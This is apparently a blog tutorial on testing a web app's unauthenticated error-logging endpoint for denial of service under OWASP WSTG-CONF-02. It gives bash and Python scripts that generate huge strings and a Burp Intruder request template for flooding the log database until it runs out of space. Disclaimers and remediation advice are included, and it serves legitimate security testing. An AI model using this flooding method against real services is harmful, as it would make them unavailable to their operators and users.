Web App Security Testing for Error Log Denial-of-Service Attacks with bash, Python and Burp

Adam Wilson
5 min readAug 4, 2022

When following the WSTG-CONF-02: Test Application Platform Configuration section of the OWASP Web App Security Testing Guide, a key recommendation is to ensure that an app’s logging mechanism does not introduce a Denial-of-Service condition. To recap briefly, a Denial-of-Service attack basically renders a Web app useless or unresponsive due to things such as high concurrent request volume, or other resource exhaustion.

One particular example of this occurs when excessive amounts of data are written to application logs. If an app’s log tables are located in the same database used by other business-critical application functionality, and that database has run out of disk space, certain aspects of the application will also be crippled. This article demonstrates one way to flood a logging endpoint with requests, with the effect of exhausting the database’s allocated memory.

DISCLAIMER: Web application security testing should only be executed with explicit permission. This article exists to support legitimate web application security testing activities, not illegal or criminal behavior.

Determine the URL and Request Payload Schema for the Logging Endpoint

Some applications have a front-channel endpoint exposed for the purpose of consuming client-side errors. Others are designed with only server-side logging calls in mind. This article is only relevant to the former; it assumes a publicly accessible logging endpoint that does not require authentication and is not locked down by other defenses.

Prepare a High-Impact Payload

Burp Intruder will be our weapon of choice for exploitation, and will allow us to select a file for the payload configuration. Let’s use bash to create a heavyweight payload as a text file.

First, we need to generate a random string as the building block of an even larger string of text. A UUID should serve this purpose well. I haven’t run across a go-to way to generate one via bash itself, but we can rely on Python to do the job instead. This StackOverflow answer gives us what we need:

$ python -c 'import uuid; print(str(uuid.uuid4()))'

I don’t prefer the hyphens in this case, so we can call .hex after invoking .uuid4() to further process the string to a non-hyphenated value (see this post as well):

$ python -c 'import uuid; print(str(uuid.uuid4().hex))'

Next, let’s put this into a bash script and concatenate a larger value using a while loop:

#!/bin/bashpayload=''
i=0
while (( i <= 1000 ))
do
uuid=$( python -c 'import uuid; print(str(uuid.uuid4().hex))' )
payload+=$( echo $uuid | tr -d '\n' )
let i++
done
echo $payload >> payload.txt

I saved this file as generategiantstrings.sh and made it executable with:

$ chmod +x ./generategiantstrings.sh

Next, run the script. (This may take several seconds.)

$ ./generategiantstrings.sh

Let’s check the character count on the value produced by the script, and we’ll see there is a single line payload with over 32,000 characters:

$ wc -m payload.txt32033 payload.txt

This may be too small or too large for your use case. Either adjust the number of iterations in the loop, or adjust the script to accept an iteration argument to give you better control over the result for your needs.

Performance is also a concern here, especially if you want to reuse this script and create additional payloads on the fly. The bash script finishes in roughly 35 seconds in the Kali Linux virtual machine I’m using:

$ time ./generategiantstrings.sh./generategiantstrings.sh  26.53s user 10.54s system 103% cpu 35.904 total

This isn’t acceptable, especially since we can get much faster results with a Python 3 script that does essentially the same thing.

#!/bin/python3# ./generategiantstrings.pyimport uuidi = 0
payload = ''
while i <= 400:
randomstring = uuid.uuid4().hex
payload = f'{payload}{randomstring}'
i = i + 1
f = open('payload.txt', 'wt', encoding='utf-8')
f.write(payload)

When I run the Python version of the script, results are written much faster (less than a second):

$ time ./generategiantstrings.py./generategiantstrings.py  0.03s user 0.01s system 98% cpu 0.038 total

The final version of the script allows us to pass in arguments for number of lines and line length (how many UUIDs are concatenated together):

#!/bin/python3# Usage: ./generategiantstrings.py 10 5import sys
import uuid
lines = int(sys.argv[1])
linelength = int(sys.argv[2])
i = 0
payload = ''
while i < lines:
j = 0
while j < linelength:
randomstring = uuid.uuid4().hex
payload = f'{payload}{randomstring}'
j = j + 1
payload = f'{payload}\n'
i = i + 1
with open('payload.txt', 'at', encoding='utf-8') as f:
f.write(f'{payload}')

print(f'Wrote {i}/{lines} lines with {j}/{linelength} UUIDs each.')

(You can view the finished script here under a different filename: https://github.com/lightbroker/appsec-public/blob/main/scripts/python/generate_massive_strings.py)

Check the Current Memory of the Log Database

We need to get a baseline for the current allocated memory of the app’s data store. For example, if your target application uses a Microsoft SQL Server database for logging, you can run this stored procedure to gauge unallocated space and current database size:

exec sp_spaceused

Set Up Burp Intruder for the Attack

Crafting the attack in Burp Intruder will require detailed knowledge of the target logging endpoint, but the HTTP request might look something like this:

POST /log/error/example HTTP/1.1
Host: the target host
Content-Type: application/json
{ "errorMessage":"[ §insert massive string payload HERE§ ]" }

Find a payload position where Burp can insert gigantic strings. This will likely require trial and error, depending on whether the applications enforces any input validation for length.

Lay Waste to the Log Table (on localhost, of Course!)

DISCLAIMER: This step should only be executed with explicit permission.
As already stated, this article exists to support legitimate web application security testing activities, not illegal or criminal behavior. For that reason, I encourage testers to perform this test against a local environment over which they have complete control. This enables restoring local database instances after testing is complete, with no impact to apps or systems used by others.

Once you’ve discovered the logging endpoint, crafted the attack request, and determined how much data will be accepted by the application, the next step is to simply fire hundreds or thousands of requests at the target. After a wave of requests, check the database again for progress on memory consumption. Eventually this could result in an unresponsive state for the target app if proper defenses are not in place.

For example, a .NET framework app will eventually respond with the following exception message:

Could not allocate a new page for database 'the_app_database' because of insufficient disk space in filegroup 'PRIMARY'. Create the necessary space by dropping objects in the filegroup, adding additional files to the filegroup, or setting autogrowth on for existing files in the filegroup.

Thoughts on Remediation

If a DOS condition similar to the one described above exists in the application you’re testing, the following are possible solutions:

  • Enforce input length validation on incoming string data.
  • Limit the size of the database column in which the untrusted data is stored.
  • Implement server-side rate limiting on the logging mechanism.
  • Use a logging mechanism separate from the main application database.

--

--